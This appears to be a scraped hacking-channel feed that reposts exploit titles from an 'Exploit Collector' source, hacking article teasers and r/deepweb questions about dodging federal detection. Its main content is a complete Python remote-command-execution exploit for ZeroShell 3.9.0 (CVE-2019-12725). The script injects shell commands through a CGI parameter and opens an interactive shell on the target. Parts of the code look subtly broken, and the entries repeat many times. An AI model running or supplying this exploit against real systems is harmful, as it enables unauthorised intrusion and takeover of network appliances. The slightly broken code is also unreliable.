Exploit Collector
ScadaBR 1.0 / 1.1CE Linux Shell Upload
___________________________
@hacking_Attack
@Hacking_Video
ScadaBR 1.0 / 1.1CE Linux Shell Upload
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
ScadaBR 1.0 / 1.1CE Linux Shell Upload
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
ZeroShell 3.9.0 Remote Command Execution
https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
ZeroShell version 3.9.0 remote command execution exploit.
MD5 |
Download
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
ZeroShell 3.9.0 Remote Command Execution
https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
ZeroShell version 3.9.0 remote command execution exploit.
MD5 |
6136d89b624e83529112cda72e8b9e5eDownload
# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution
# Google Dork: N/A
# Date: 10/05/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://zeroshell.org/
# Software Link: https://zeroshell.org/download/
# Version: < 3.9.0
# Tested on: ZeroShell 3.9.0
# CVE : CVE-2019-12725
#!/usr/bin/python3
import requests
import optparse
import time
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')
options, args = parser.parse_args()
if not options.url:
print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://target-uri/')
print('[+] Example help usage: exploit.py -h')
exit()
uri_zeroshell = options.url
session = requests.Session()
def command():
try:
check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'")
if check.status_code == 200:
flag = True
print('[+] ZeroShell 3.9.0 Remote Command Execution')
time.sleep(1)
print('[+] Success connect to target')
time.sleep(1)
print('[+] Trying to execute command in ZeroShell OS...\n')
time.sleep(1)
check.raise_for_status()
while flag:
cmd = raw_input("$ ")
payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'"
uri_vuln = uri_zeroshell + payload
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
res = session.get(uri_vuln, headers=burp0_headers, verify=False)
print(res.text[:res.text.rindex("") / 2])
except requests.exceptions.ConnectionError as err:
print('[x] Failed to Connect in: '+uri_zeroshell+' ')
print('[x] This host seems to be Down')
exit()
except requests.exceptions.HTTPError as conn:
print('[x] Failed to execute command in: '+uri_zeroshell+' ')
print('[x] This host does not appear to be a ZeroShell')
exit()
command()
Source:packetstormsecurity.com
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
ZeroShell 3.9.0 Remote Command Execution
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Exploit Collector
Firefox 72 IonMonkey JIT Type Confusion
___________________________
@hacking_Attack
@Hacking_Video
Firefox 72 IonMonkey JIT Type Confusion
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Firefox 72 IonMonkey JIT Type Confusion
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Exploit Collector
Internet Explorer jscript9.dll Memory Corruption
___________________________
@hacking_Attack
@Hacking_Video
Internet Explorer jscript9.dll Memory Corruption
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Internet Explorer jscript9.dll Memory Corruption
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Exploit Collector
Microsoft Internet Explorer 8/11 Use-After-Free
___________________________
@hacking_Attack
@Hacking_Video
Microsoft Internet Explorer 8/11 Use-After-Free
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Microsoft Internet Explorer 8/11 Use-After-Free
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Exploit Collector
ScadaBR 1.0 / 1.1CE Windows Shell Upload
___________________________
@hacking_Attack
@Hacking_Video
ScadaBR 1.0 / 1.1CE Windows Shell Upload
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
ScadaBR 1.0 / 1.1CE Windows Shell Upload
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Exploit Collector
OpenPLC WebServer 3 Remote Code Execution
___________________________
@hacking_Attack
@Hacking_Video
OpenPLC WebServer 3 Remote Code Execution
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
OpenPLC WebServer 3 Remote Code Execution
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
BrightScan #ThreatIntelThursday | Man in the Middle (MiTM) Attacks ☎ — ! — ☎
https://cdn-images-1.medium.com/max/1920/1*md1DB8TPkm65UzKxhQI1WA.png
By: Ted Udelson
Continue reading on OpenAVN »
___________________________
@hacking_Attack
@Hacking_Video
BrightScan #ThreatIntelThursday | Man in the Middle (MiTM) Attacks ☎ — ! — ☎
https://cdn-images-1.medium.com/max/1920/1*md1DB8TPkm65UzKxhQI1WA.png
By: Ted Udelson
Continue reading on OpenAVN »
___________________________
@hacking_Attack
@Hacking_Video
Medium
BrightScan #ThreatIntelThursday | Man in the Middle (MiTM) Attacks ☎ — ! — ☎
By: Ted Udelson
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Analyzing Main Types of Backdoor Patterns in Windows PE Files
https://cdn-images-1.medium.com/max/1080/1*73EKMuwyfGHr0kIzVw0R1Q.png
According to current technology era, there are mainly 3 types of backdoor patterns at the application level.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Analyzing Main Types of Backdoor Patterns in Windows PE Files
https://cdn-images-1.medium.com/max/1080/1*73EKMuwyfGHr0kIzVw0R1Q.png
According to current technology era, there are mainly 3 types of backdoor patterns at the application level.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Analyzing Main Types of Backdoor Patterns in Windows PE Files
According to current technology era, there are mainly 3 types of backdoor patterns at the application level.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Exploiting en arquitecturas i386
https://cdn-images-1.medium.com/max/802/0*aElGmw4ohTmUQaSi
Más de una ocasión se que habrás escuchado “una ejecución de código remoto”, pero ¿Qué es esto? ¿Cómo se hace? Bien aquí vamos a ver cómo…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Exploiting en arquitecturas i386
https://cdn-images-1.medium.com/max/802/0*aElGmw4ohTmUQaSi
Más de una ocasión se que habrás escuchado “una ejecución de código remoto”, pero ¿Qué es esto? ¿Cómo se hace? Bien aquí vamos a ver cómo…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Exploiting en arquitecturas i386
Más de una ocasión se que habrás escuchado “una ejecución de código remoto”, pero ¿Qué es esto? ¿Cómo se hace? Bien aquí vamos a ver cómo…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
OWASP and introduction to Hacking
https://cdn-images-1.medium.com/max/2600/0*LGP20T1WnN1TVhwM
Article 1
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
OWASP and introduction to Hacking
https://cdn-images-1.medium.com/max/2600/0*LGP20T1WnN1TVhwM
Article 1
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
OWASP and introduction to Hacking
Article 1
Deep Web
What’s your closest call to getting cought by the feds on the deep web and how did it happen?
submitted by /u/Monkeyhank420
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
What’s your closest call to getting cought by the feds on the deep web and how did it happen?
submitted by /u/Monkeyhank420
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
What’s your closest call to getting cought by the feds on the deep...
Posted in r/deepweb by u/Monkeyhank420 • 1 point and 0 comments
Deep Web
Does anyone know any deep web forums, that are quite active??
submitted by /u/Many-Macaron-4486
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Does anyone know any deep web forums, that are quite active??
submitted by /u/Many-Macaron-4486
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Does anyone know any deep web forums, that are quite active??
Posted in r/deepweb by u/Many-Macaron-4486 • 1 point and 0 comments